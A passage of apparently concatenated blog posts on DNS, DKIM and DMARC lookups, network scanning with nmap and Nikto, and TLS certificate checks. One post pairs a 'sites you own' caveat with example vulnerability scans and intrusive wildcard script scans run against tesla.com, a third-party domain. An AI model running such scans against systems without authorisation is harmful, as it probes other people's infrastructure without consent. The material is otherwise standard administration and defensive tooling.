DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple; s=jvxsykglqiaiibkijmhy37vqxh4mzqr6; d=amazon.com; t=1675842267; h=Date:From:Reply-To:To:Message-ID:Subject:MIME-Version:Content-Type; bh=BJxF0PCdQ4TBdiPcAK83Ah0Z65hMjsvFIWVgzM0O8b0=; b=NUSl8nwZ2aF6ULhIFOJPCANWEeuQNUrnym4hobbeNsB6PPTs2/9jJPFCEEjAh8/q s1l53Vv5qAGx0zO4PTjASyB/UVOZj5FF+LEgDJtUclQcnlNVegRSodaJUHRL3W2xNxa ckDYAnSPr8fTNLG287LPrtxvIL2n8LPOTZWclaGg=
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/simple; s=6gbrjpgwjskckoa6a5zn6fwqkn67xbtw; d=amazonses.com; t=1675842267; h=Date:From:Reply-To:To:Message-ID:Subject:MIME-Version:Content-Type:Feedback-ID; bh=BJxF0PCdQ4TBdiPcAK83Ah0Z65hMjsvFIWVgzM0O8b0=; b=ivBW6HbegrrlOj7BIB293ZNNy6K8D008I3+wwXoNvZdrBI6SBhL+QmCvCE3Sx0Av qh2hWMJyJBkVVcVwJns8cq8sn6l3NTY7nfN0H5RmuFn/MK4UHJw1vkkzEKKWSDncgf9 6K3DyNhKooBGopkxDOhg/nU8ZX8paHKlD67q7klc=
Date: Wed, 8 Feb 2023 07:44:27 +0000

To look up the DKIM record, email servers use the DKIM selector provided by the email service provider, not just the domain name. Suppose example.com uses Big Email as their email service provider, and suppose Big Email uses the DKIM selector big-email. Most of example.com’s DNS records would be named example.com, but their DKIM DNS record would be under the name big-email._domainkey.example.com, which is listed in the example above.

Content

This is the part of the DKIM DNS record that lists the public key. In the example above, v=DKIM1 indicates that this TXT record should be interpreted as DKIM, and the public key is everything after p=.

Below we query the linuxincluded.com domain using the “dkim” selector.

$ dig TXT dkim._domainkey.linuxincluded.com

; <<>> DiG 9.10.6 <<>> TXT dkim._domainkey.linuxincluded.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45496
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;dkim._domainkey.linuxincluded.com. IN	TXT

;; ANSWER SECTION:
dkim._domainkey.linuxincluded.com. 3600	IN TXT	"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDdLyUk58Chz538ZQE4PnZ1JqBiYkSVWp8F77QpVF2onPCM4W4BnVJWXDSCC+yn747XFKv+XkVwayLexUkiAga7hIw6GwOj0gplVjv2dirFCoKecS2jvvqXc6/O0hjVqYlTYXwiYFJMSptaBWoHEEOvpS7VWelnQB+1m3UHHPJRiQIDAQAB; s=email"

;; Query time: 453 msec
;; SERVER: 100.64.0.1#53(100.64.0.1)
;; WHEN: Thu Feb 02 13:39:40 SAST 2023
;; MSG SIZE  rcvd: 318

3. Finally Lets Check if DMARC is setup

What is a DMARC record?

A DMARC record stores a domain’s DMARC policy. DMARC records are stored in the Domain Name System (DNS) as DNS TXT records. A DNS TXT record can contain almost any text a domain administrator wants to associate with their domain. One of the ways DNS TXT records are used is to store DMARC policies.

(Note that a DMARC record is a DNS TXT record that contains a DMARC policy, not a specialized type of DNS record.)

Example.com’s DMARC policy might look like this:

NameTypeContentTTL
example.comTXTv=DMARC1; p=quarantine; adkim=r; aspf=r; rua=mailto:example@third-party-example.com;3260
$ dig txt _dmarc.google.com

; <<>> DiG 9.10.6 <<>> txt _dmarc.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16231
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;_dmarc.google.com.		IN	TXT

;; ANSWER SECTION:
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=reject; rua=mailto:mailauth-reports@google.com"

;; Query time: 209 msec
;; SERVER: 100.64.0.1#53(100.64.0.1)
;; WHEN: Thu Feb 02 13:42:03 SAST 2023
;; MSG SIZE  rcvd: 117

Macbook: Querying DNS using the Host Command

1. Find a list of IP addresses linked to a domain

To find the IP address for a particular domain, simply pass the target domain name as an argument after the host command.

$ host andrewbaker.ninja
andrewbaker.ninja has address 13.244.140.33

For a comprehensive lookup using the verbose mode, use -a or -v flag option.

$ host -a andrewbaker.ninja
Trying "andrewbaker.ninja"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45489
;; flags: qr rd ra; QUERY: 1, ANSWER: 10, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;andrewbaker.ninja.		IN	ANY

;; ANSWER SECTION:
andrewbaker.ninja.	300	IN	A	13.244.140.33
andrewbaker.ninja.	21600	IN	NS	ns-1254.awsdns-28.org.
andrewbaker.ninja.	21600	IN	NS	ns-1514.awsdns-61.org.
andrewbaker.ninja.	21600	IN	NS	ns-1728.awsdns-24.co.uk.
andrewbaker.ninja.	21600	IN	NS	ns-1875.awsdns-42.co.uk.
andrewbaker.ninja.	21600	IN	NS	ns-491.awsdns-61.com.
andrewbaker.ninja.	21600	IN	NS	ns-496.awsdns-62.com.
andrewbaker.ninja.	21600	IN	NS	ns-533.awsdns-02.net.
andrewbaker.ninja.	21600	IN	NS	ns-931.awsdns-52.net.
andrewbaker.ninja.	900	IN	SOA	ns-1363.awsdns-42.org. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400

Received 396 bytes from 100.64.0.1#53 in 262 ms

The -a option is used to find all Domain records and Zone information. You can also notice the local DNS server address utilised for the lookup.

2. Reverse Lookup

The command below performs a reverse lookup on the IP address and displays the hostname or domain name.

$ host 13.244.140.33
33.140.244.13.in-addr.arpa domain name pointer ec2-13-244-140-33.af-south-1.compute.amazonaws.com.

3. To find Domain Name servers

Use the -t option to get the domain name servers. It’s used to specify the query type. Below we pass the -t argument to find nameservers of a specific domain. NS record specifies the authoritative nameservers.

$ host -t ns andrewbaker.ninja
andrewbaker.ninja name server ns-1254.awsdns-28.org.
andrewbaker.ninja name server ns-1514.awsdns-61.org.
andrewbaker.ninja name server ns-1728.awsdns-24.co.uk.
andrewbaker.ninja name server ns-1875.awsdns-42.co.uk.
andrewbaker.ninja name server ns-491.awsdns-61.com.
andrewbaker.ninja name server ns-496.awsdns-62.com.
andrewbaker.ninja name server ns-533.awsdns-02.net.
andrewbaker.ninja name server ns-931.awsdns-52.net.

4. To query certain nameserver for a specific domain

To query details about a specific authoritative domain name server, use the below command.

$ host google.com olga.ns.cloudflare.com
Using domain server:
Name: olga.ns.cloudflare.com
Address: 173.245.58.137#53
Aliases:

google.com has address 172.217.170.14
google.com has IPv6 address 2c0f:fb50:4002:804::200e
google.com mail is handled by 10 smtp.google.com.

5. To find domain MX records

To get a list of a domain’s MX ( Mail Exchanger ) records.

$ host -t MX google.com
google.com mail is handled by 10 smtp.google.com.

6. To find domain TXT records

To get a list of a domain’s TXT ( human-readable information about a domain server ) record.

$ host -t txt google.com
google.com descriptive text "docusign=1b0a6754-49b1-4db5-8540-d2c12664b289"
google.com descriptive text "v=spf1 include:_spf.google.com ~all"
google.com descriptive text "google-site-verification=TV9-DBe4R80X4v0M4U_bd_J9cpOJM0nikft0jAgjmsQ"
google.com descriptive text "facebook-domain-verification=22rm551cu4k0ab0bxsw536tlds4h95"
google.com descriptive text "atlassian-domain-verification=5YjTmWmjI92ewqkx2oXmBaD60Td9zWon9r6eakvHX6B77zzkFQto8PQ9QsKnbf4I"
google.com descriptive text "onetrust-domain-verification=de01ed21f2fa4d8781cbc3ffb89cf4ef"
google.com descriptive text "globalsign-smime-dv=CDYX+XFHUw2wml6/Gb8+59BsH31KzUr6c1l2BPvqKX8="
google.com descriptive text "docusign=05958488-4752-4ef2-95eb-aa7ba8a3bd0e"
google.com descriptive text "apple-domain-verification=30afIBcvSuDV2PLX"
google.com descriptive text "google-site-verification=wD8N7i1JTNTkezJ49swvWW48f8_9xveREV4oB-0Hf5o"
google.com descriptive text "webexdomainverification.8YX6G=6e6922db-e3e6-4a36-904e-a805c28087fa"
google.com descriptive text "MS=E4A68B9AB2BB9670BCE15412F62916164C0B20BB"

7. To find domain SOA record

To get a list of a domain’s Start of Authority record

$ host -t soa google.com
google.com has SOA record ns1.google.com. dns-admin.google.com. 505465897 900 900 1800 60

Use the command below to compare the SOA records from all authoritative nameservers for a particular zone (the specific portion of the DNS namespace).

$ host -C google.com
Nameserver 216.239.36.10:
	google.com has SOA record ns1.google.com. dns-admin.google.com. 505465897 900 900 1800 60
Nameserver 216.239.38.10:
	google.com has SOA record ns1.google.com. dns-admin.google.com. 505465897 900 900 1800 60
Nameserver 216.239.32.10:
	google.com has SOA record ns1.google.com. dns-admin.google.com. 505465897 900 900 1800 60
Nameserver 216.239.34.10:
	google.com has SOA record ns1.google.com. dns-admin.google.com. 505465897 900 900 1800 60

8. To find domain CNAME records

CNAME stands for canonical name record. This DNS record is responsible for redirecting one domain to another, which means it maps the original domain name to an alias.

To find out the domain CNAME DNS records, use the below command.

$ host -t cname www.yahoo.com
www.yahoo.com is an alias for new-fp-shed.wg1.b.yahoo.com.
$ dig www.yahoo.com
]
; <<>> DiG 9.10.6 <<>> www.yahoo.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 45503
;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;www.yahoo.com.			IN	A

;; ANSWER SECTION:
www.yahoo.com.		12	IN	CNAME	new-fp-shed.wg1.b.yahoo.com.
new-fp-shed.wg1.b.yahoo.com. 38	IN	A	87.248.100.215
new-fp-shed.wg1.b.yahoo.com. 38	IN	A	87.248.100.216

;; Query time: 128 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Mon Jan 30 17:07:55 SAST 2023
;; MSG SIZE  rcvd: 106

In the above shown example CNAME entry, if you want to reach “www.yahoo.com”, your computer’s DNS resolver will first fire an address lookup for “www.yahoo.com“. Your resolver then sees that it was returned a CNAME record of “new-fp-shed.wg1.b.yahoo.com“, and in response it will now fire another lookup for “new-fp-shed.wg1.b.yahoo.com“. It will then be returned the A record. So its important to note here is that there are two separate and independent DNS lookups performed by the resolver in order to convert a CNAME into a usable A record.

9. To find domain TTL information

TTL Stands for Time to live. It is a part of the Domain Name Server. It is automatically set by an authoritative nameserver for each DNS record.

In simple words, TTL refers to how long a DNS server caches a record before refreshing the data. Use the below command to see the TTL information of a domain name (in the example below its 300 seconds/5 minutes).

$ host -v -t a andrewbaker.ninja
Trying "andrewbaker.ninja"
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27738
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;andrewbaker.ninja.		IN	A

;; ANSWER SECTION:
andrewbaker.ninja.	300	IN	A	13.244.140.33

Received 51 bytes from 8.8.8.8#53 in 253 ms

Hacking: Using a Macbook and Nikto to Scan your Local Network

Nikto is becoming one of my favourite tools. I like it because of its wide ranging use cases and its simplicity. So whats an example use case for Nikto? When I am bored right now and so I am going to hunt around my local network and see what I can find…

# First install Nikto
brew install nikto
# Now get my ipaddress range
ifconfig
# Copy my ipaddress into to ipcalculator to get my cidr block
eth0      Link encap:Ethernet  HWaddr 00:0B:CD:1C:18:5A
          inet addr:172.16.25.126  Bcast:172.16.25.63  Mask:255.255.255.224
          inet6 addr: fe80::20b:cdff:fe1c:185a/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2341604 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2217673 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:293460932 (279.8 MiB)  TX bytes:1042006549 (993.7 MiB)
          Interrupt:185 Memory:f7fe0000-f7ff0000
# Get my Cidr range (brew install ipcalc)
ipcalc 172.16.25.126
cp363412:~ $ ipcalc 172.16.25.126
Address:   172.16.25.126        10101100.00010000.00011001. 01111110
Netmask:   255.255.255.0 = 24   11111111.11111111.11111111. 00000000
Wildcard:  0.0.0.255            00000000.00000000.00000000. 11111111
=>
Network:   172.16.25.0/24       10101100.00010000.00011001. 00000000
HostMin:   172.16.25.1          10101100.00010000.00011001. 00000001
HostMax:   172.16.25.254        10101100.00010000.00011001. 11111110
Broadcast: 172.16.25.255        10101100.00010000.00011001. 11111111
Hosts/Net: 254                   Class B, Private Internet
# Our NW range is "Network:   172.16.25.0/24"

Now lets pop across to nmap to get a list of active hosts in my network

# Now we run a quick nmap scan for ports 80 and 443 across the entire range looking for any hosts that respond and dump the results into a grepable file
nmap -p 80,433 172.16.25.0/24 -oG webhosts.txt
# View the list of hosts
cat webhosts.txt
$ cat webhosts.txt
# Nmap 7.93 scan initiated Wed Jan 25 20:17:42 2023 as: nmap -p 80,433 -oG webhosts.txt 172.16.25.0/26
Host: 172.16.25.0 ()	Status: Up
Host: 172.16.25.0 ()	Ports: 80/open/tcp//http///, 433/open/tcp//nnsp///
Host: 172.16.25.1 ()	Status: Up
Host: 172.16.25.1 ()	Ports: 80/open/tcp//http///, 433/open/tcp//nnsp///
Host: 172.16.25.2 ()	Status: Up
Host: 172.16.25.2 ()	Ports: 80/open/tcp//http///, 433/open/tcp//nnsp///
Host: 172.16.25.3 ()	Status: Up
Host: 172.16.25.3 ()	Ports: 80/open/tcp//http///, 433/open/tcp//nnsp///
Host: 172.16.25.4 ()	Status: Up
Host: 172.16.25.4 ()	Ports: 80/open/tcp//http///, 433/open/tcp//nnsp///
Host: 172.16.25.5 ()	Status: Up

Next we want to grep this webhost file and send all the hosts that responded to the port probe of to Nikto for scanning. To do this we can use some linux magic. First we cat to read the output stored in our webhosts.txt document. Next we use awk. This is a Linux tool that will help search for the patterns. In the command below we are asking it to look for “Up” (meaning the host is up). Then we tell it to print $2, which means to print out the second word in the line that we found the word “Up” on, i.e. to print the IP address. Finally, we send that data to a new file called niktoscan.txt.

cat webhosts.txt | awk '/Up$/{print $2}' | cat >> niktoscan.txt
cat niktoscan.txt
$ cat niktoscan.txt
172.16.25.0
172.16.25.1
172.16.25.2
172.16.25.3
172.16.25.4
172.16.25.5
172.16.25.6
172.16.25.7
172.16.25.8
172.16.25.9
172.16.25.10
...

Now let nikto do its stuff:

nikto -h niktoscan.txt -ssl >> niktoresults.txt
# Lets check what came back
cat niktoresults.txt

Mac OS X: Perform basic vulnerability checks with nmap vulners scripts

This is a very short post to help anyone quickly setup vulnerability checking for a site they own (and have permission to scan). I like the vulners scripts as they cover a lot of basic ground quickly with one script.

## First go to your NMAP script directory
$ cd /usr/local/share/nmap/scripts
## Now install vulners
git clone https://github.com/vulnersCom/nmap-vulners.git
## Now copy the files up a directory
$ cd nmap-vulners
$ ls
LICENSE				example.png			http-vulners-regex.json		paths_regex_example.png		vulners.nse
README.md			http-vulners-paths.txt		http-vulners-regex.nse		simple_regex_example.png
$ sudo cp *.* ..
## Now update NMAP NSE script database
$ nmap --script-updatedb
## Now run the scripts
$ nmap -sV --script vulners tesla.com
## Now do a wildcard scan
$ nmap --script "http-*" tesla.com

Mac OS X: View the details of a websites supported TLS certificates from terminal

The below script will give you basic information on a websites certificate:

$ curl --insecure -vvI http://ec2-13-246-2-19.af-south-1.compute.amazonaws.com 2>&1 | awk 'BEGIN { cert=0 } /^\* SSL connection/ { cert=1 } /^\*/ { if (cert) print }'
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: CN=andrewbaker.ninja
*  start date: Nov  4 23:00:13 2022 GMT
*  expire date: Feb  2 23:00:12 2023 GMT
*  issuer: C=US; O=Let's Encrypt; CN=R3
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* Mark bundle as not supporting multiuse
* Connection #0 to host andrewbaker.ninja left intact

NMAP is provides a simple way to get a list of available ciphers from a host website / server. Additionally, nmap provides a strength rating of strong, weak, or unknown for each available cipher. First, download the ssl-enum-ciphers.nse nmap script (explanation here). Then from the same directory as the script, run nmap as follows:

$ nmap --script ssl-enum-ciphers -p 443 andrewbaker.ninja
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-11 10:40 SAST
Nmap scan report for andrewbaker.ninja (13.244.140.33)
Host is up (0.051s latency).
rDNS record for 13.244.140.33: ec2-13-244-140-33.af-south-1.compute.amazonaws.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.0:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (secp256r1) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|       TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA (dh 2048) - A
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA (dh 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.3:
|     ciphers:
|       TLS_AKE_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_AKE_WITH_CHACHA20_POLY1305_SHA256 (secp256r1) - A
|       TLS_AKE_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|     cipher preference: server
|_  least strength: A

Nmap done: 1 IP address (1 host up) scanned in 9.61 seconds

Next up (and probably my favourite), sslscan is a really decent tool because it tests connecting with TLS and SSL including obsolete SSL versions. It then reports about the server’s cipher suites and certificate.

$ brew install sslscan
$ sslscan andrewbaker.ninja
Version: 2.0.15
OpenSSL 3.0.7 1 Nov 2022

Connected to 13.244.140.33

Testing SSL server andrewbaker.ninja on port 443 using SNI name andrewbaker.ninja

  SSL/TLS Protocols:
SSLv2     disabled
SSLv3     disabled
TLSv1.0   enabled
TLSv1.1   enabled
TLSv1.2   enabled
TLSv1.3   enabled

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
OpenSSL version does not support compression
Rebuild with zlib1g-dev package for zlib support

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
TLSv1.1 not vulnerable to heartbleed
TLSv1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.3  256 bits  TLS_AES_256_GCM_SHA384        Curve P-256 DHE 256
Accepted  TLSv1.3  256 bits  TLS_CHACHA20_POLY1305_SHA256  Curve P-256 DHE 256
Accepted  TLSv1.3  128 bits  TLS_AES_128_GCM_SHA256        Curve P-256 DHE 256
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384
Accepted  TLSv1.2  128 bits  AES128-GCM-SHA256
Accepted  TLSv1.2  256 bits  AES256-SHA
Accepted  TLSv1.2  128 bits  AES128-SHA
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256         DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256         DHE 2048 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Preferred TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  AES256-SHA
Accepted  TLSv1.1  128 bits  AES128-SHA
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits
Preferred TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  AES256-SHA
Accepted  TLSv1.0  128 bits  AES128-SHA
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA            DHE 2048 bits
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA            DHE 2048 bits

  Server Key Exchange Group(s):
TLSv1.3  128 bits  secp256r1 (NIST P-256)
TLSv1.3  192 bits  secp384r1 (NIST P-384)
TLSv1.3  260 bits  secp521r1 (NIST P-521)
TLSv1.2  128 bits  secp256r1 (NIST P-256)
TLSv1.2  192 bits  secp384r1 (NIST P-384)
TLSv1.2  260 bits  secp521r1 (NIST P-521)

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  andrewbaker.ninja
Altnames: DNS:andrewbaker.ninja, DNS:www.andrewbaker.ninja
Issuer:   Zscaler Intermediate Root CA (zscaler.net) (t)

Not valid before: May  6 06:30:35 2023 GMT
Not valid after:  May 20 06:30:35 2023 GMT

If you want a detailed dump of the certificate run (you will need openssl installed):

$ openssl s_client -connect andrewbaker.ninja:443 </dev/null 2>/dev/null | openssl x509 -inform pem -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            03:bd:20:6e:ef:67:55:93:2a:a8:90:9f:40:e4:b2:a8:c0:fe
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C = US, O = Let's Encrypt, CN = R3
        Validity
            Not Before: Nov  4 23:00:13 2022 GMT
            Not After : Feb  2 23:00:12 2023 GMT
        Subject: CN = andrewbaker.ninja
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:c8:30:00:b3:f0:fb:03:10:90:57:4a:df:7f:28:
                    34:b9:2e:94:1a:28:29:41:2b:88:48:3b:c0:48:2a:
                    f0:62:3d:57:0d:32:db:30:9b:c5:98:11:b3:14:a7:
                    a8:e0:30:1d:d7:ec:cc:86:6f:d2:f1:7b:a4:70:9c:
                    98:e0:63:34:ae
                ASN1 OID: prime256v1
                NIST CURVE: P-256
        X509v3 extensions:
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Subject Key Identifier:
                B9:28:D2:09:38:B0:B1:03:77:DA:8F:C6:AD:2E:51:EF:0F:7F:23:4F
            X509v3 Authority Key Identifier:
                keyid:14:2E:B3:17:B7:58:56:CB:AE:50:09:40:E6:1F:AF:9D:8B:14:C2:C6

            Authority Information Access:
                OCSP - URI:http://r3.o.lencr.org
                CA Issuers - URI:http://r3.i.lencr.org/

            X509v3 Subject Alternative Name:
                DNS:andrewbaker.ninja, DNS:www.andrewbaker.ninja
            X509v3 Certificate Policies:
                Policy: 2.23.140.1.2.1
                Policy: 1.3.6.1.4.1.44947.1.1.1
                  CPS: http://cps.letsencrypt.org

            CT Precertificate SCTs:
                Signed Certificate Timestamp:
                    Version   : v1 (0x0)
                    Log ID    : B7:3E:FB:24:DF:9C:4D:BA:75:F2:39:C5:BA:58:F4:6C:
                                5D:FC:42:CF:7A:9F:35:C4:9E:1D:09:81:25:ED:B4:99
                    Timestamp : Nov  5 00:00:13.652 2022 GMT
                    Extensions: none
                    Signature : ecdsa-with-SHA256
                                30:46:02:21:00:89:98:62:15:D5:40:1D:80:9D:40:4B:
                                31:B1:E3:C5:3B:65:41:11:4D:98:D2:E1:23:16:45:0D:
                                DA:08:FE:72:AB:02:21:00:A7:F0:5D:49:63:4F:91:4C:
                                CF:60:8D:FF:26:F6:0B:1B:0C:47:9C:B6:70:57:7C:68:
                                AB:F0:9B:35:48:34:08:A4
                Signed Certificate Timestamp:
                    Version   : v1 (0x0)
                    Log ID    : 7A:32:8C:54:D8:B7:2D:B6:20:EA:38:E0:52:1E:E9:84:
                                16:70:32:13:85:4D:3B:D2:2B:C1:3A:57:A3:52:EB:52
                    Timestamp : Nov  5 00:00:14.177 2022 GMT
                    Extensions: none
                    Signature : ecdsa-with-SHA256
                                30:45:02:21:00:E1:8B:7F:3F:75:05:20:8A:27:3D:30:
                                64:BB:4B:FE:EF:24:C9:7E:85:6C:6D:DF:16:ED:BE:23:
                                9C:97:67:E1:DD:02:20:60:89:B6:D9:0F:BE:C4:E0:7B:
                                05:E1:EE:6D:0B:2D:78:C9:58:AA:0F:10:C0:34:FE:79:
                                FA:63:DD:2D:50:01:5B
    Signature Algorithm: sha256WithRSAEncryption
         4a:54:e0:ec:05:b8:58:ef:44:de:a8:5f:89:fc:1d:cb:86:39:
         05:1d:d3:b2:57:73:bd:6d:11:e5:c2:fd:cd:1a:6b:ee:62:11:
         f8:94:6b:22:b9:16:d6:e3:95:ed:04:9e:7c:ba:1b:3e:5f:dc:
         4f:a0:ae:58:ec:3c:25:a0:41:a5:c8:b9:c8:7a:3c:2f:1f:17:
         60:e8:7d:f0:a2:8e:0d:45:cb:7b:b1:06:13:75:3b:b0:cb:f6:
         6e:2f:71:70:6a:55:96:34:58:db:42:06:5a:7f:78:00:8f:7d:
         e3:83:02:30:82:49:52:38:da:07:6b:c3:ba:ad:09:1e:7e:33:
         0c:f5:0b:49:33:9d:b7:4e:1a:16:c2:ef:47:6f:ec:02:03:4a:
         84:75:bb:30:6e:8a:b4:22:da:d6:ac:43:5d:9b:3c:8b:2a:13:
         af:2b:2e:ab:02:58:dd:80:73:04:8c:dc:2e:48:71:ae:57:c4:
         0e:40:8c:6d:52:b5:91:0c:6b:0d:5e:98:01:6f:09:d1:3a:1b:
         41:7c:70:cc:66:9a:89:b3:b7:27:3d:6f:62:10:66:bb:63:67:
         59:08:ed:7e:c0:c3:31:1c:89:dd:ce:f2:6f:42:fd:42:21:94:
         c3:27:6e:d9:ea:d1:5f:5a:6f:58:26:eb:3e:ba:a6:ee:ed:45:
         00:99:e3:9e
-----BEGIN CERTIFICATE-----
MIIEdTCCA12gAwIBAgISA70gbu9nVZMqqJCfQOSyqMD+MA0GCSqGSIb3DQEBCwUA
MDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD
EwJSMzAeFw0yMjExMDQyMzAwMTNaFw0yMzAyMDIyMzAwMTJaMBwxGjAYBgNVBAMT
EWFuZHJld2Jha2VyLm5pbmphMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEyDAA
s/D7AxCQV0rffyg0uS6UGigpQSuISDvASCrwYj1XDTLbMJvFmBGzFKeo4DAd1+zM
